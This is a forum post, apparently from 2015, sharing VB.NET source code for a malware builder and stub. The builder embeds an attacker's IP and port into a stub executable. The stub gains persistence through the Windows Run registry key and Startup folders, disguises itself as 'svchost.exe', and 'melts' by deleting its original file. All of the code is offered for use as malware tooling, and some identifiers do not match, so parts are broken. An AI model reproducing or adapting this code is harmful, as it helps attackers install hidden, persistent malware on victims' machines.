Mar 25, 2015 10:37 AM
(This post was last modified: Mar 26, 2015 08:28 AM by ImStw.)
Code:
Builder
Builder : prntscr.com/6l6j8w
Items: "2 TextBoxes", "3 CheckBoxes", "1 Button"
ipe.Text, portt.Text, cbStart.Checked, reg.Checked, melting.Checked, btnBuild.Click
Stub : prntscr.com/6l6jef
Items: "2 TextBoxes", "3 CheckBoxes", "1 Timer"
IP.Text, Port.Text, cbStart.Checked, reg.Checked, melting.Checked, "StartupTimer = 7000 Interval, Enabled = False"
Builder
Builder : prntscr.com/6l6j8w
Items: "2 TextBoxes", "3 CheckBoxes", "1 Button"
ipe.Text, portt.Text, cbStart.Checked, reg.Checked, melting.Checked, btnBuild.Click
Code
'Builder Code
Imports System.IO
Imports System.Net.Mail
Public Class Form1
Dim IP, Port, Startup, Regedit, Melt As String
Const spl = "asdf"
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Dim s As New SaveFileDialog
s.Title = "Save Server"
s.Filter = "*.exe | *.exe"
Dim stub As String
Dim all As String = ""
Const Filesplit = "FormStub"
Dim temp As String = IO.Path.GetTempPath() & "stub.exe"
s.ShowDialog()
If s.FileName > "" Then
IP = ip.Text
Port = port.Text
Startup = cbStart.Checked
Regedit = reg.Checked
Melt = melting.Checked
File.WriteAllBytes(temp, My.Resources.stub)
FileOpen(1, temp, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
FileOpen(1, s.FileName & ".exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & spl & IP & spl & Port & spl & Startup & spl & Regedit & spl & Melt & spl)
FileClose(1)
MsgBox("Done!", MsgBoxStyle.OkOnly)
End If
End Sub
End ClassStub : prntscr.com/6l6jef
Items: "2 TextBoxes", "3 CheckBoxes", "1 Timer"
IP.Text, Port.Text, cbStart.Checked, reg.Checked, melting.Checked, "StartupTimer = 7000 Interval, Enabled = False"
Code
'Stub Code
Public Class Form1
Const spl = "asdf"
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read)
Dim stub As String = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
'Options() with the () is important the () means it can be an array which we need Split(stub, Filesplit) is what connects them also
Dim Options() As String = Split(stub, spl)
IP.Text = Options(1)
Port.Text = Options(2)
cbStart.Checked = Options(3)
reg.Checked = Options(4)
melting.Checked = Options(5)
'Add to windows startup
If cbStart.Checked = True Then
Timer3.Enabled = True
End If
'Add to regedit
If reg.Checked = True Then
Try
Dim regKey As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue(StartupKey, Application.ExecutablePath, Microsoft.Win32.RegistryValueKind.String) : regKey.Close()
Catch : End Try
End If
If melting.Checked = True Then
If Application.ExecutablePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\svchost.exe" Then
If File.Exists(Path.GetTempPath & "melt.txt") Then
Try : IO.File.Delete(IO.File.ReadAllText(Path.GetTempPath & "melt.txt")) : Catch : End Try
End If
Else
If File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\svchost.exe") Then
Try : IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\svchost.exe") : Catch : End Try
IO.File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\svchost.exe")
IO.File.WriteAllText(Path.GetTempPath & "melt.txt", Application.ExecutablePath)
Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\svchost.exe")
End
Else
IO.File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\svchost.exe")
IO.File.WriteAllText(Path.GetTempPath & "melt.txt", Application.ExecutablePath)
Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Microsoft\svchost.exe")
End
End If
End If
End If
End SubCode
Private Sub StartUp_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick
'Windows 7 startup User
Try
Dim file1 As String = Application.ExecutablePath
Dim copy1 As String = "C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe"
If File.Exists(copy1) Then
Else
System.IO.File.Copy(file1, copy1)
End If
Catch ex As Exception
End Try
'Windows XP startup User
Try
Dim file1 As String = Application.ExecutablePath
Dim copy1 As String = "C:\Documents and Settings\" + Environment.UserName.ToString + "\Start Menu\Programs\Startup\svchost.exe"
If File.Exists(copy1) Then
Else
System.IO.File.Copy(file1, copy1)
End If
Catch ex As Exception
End Try
End Sub
End Class

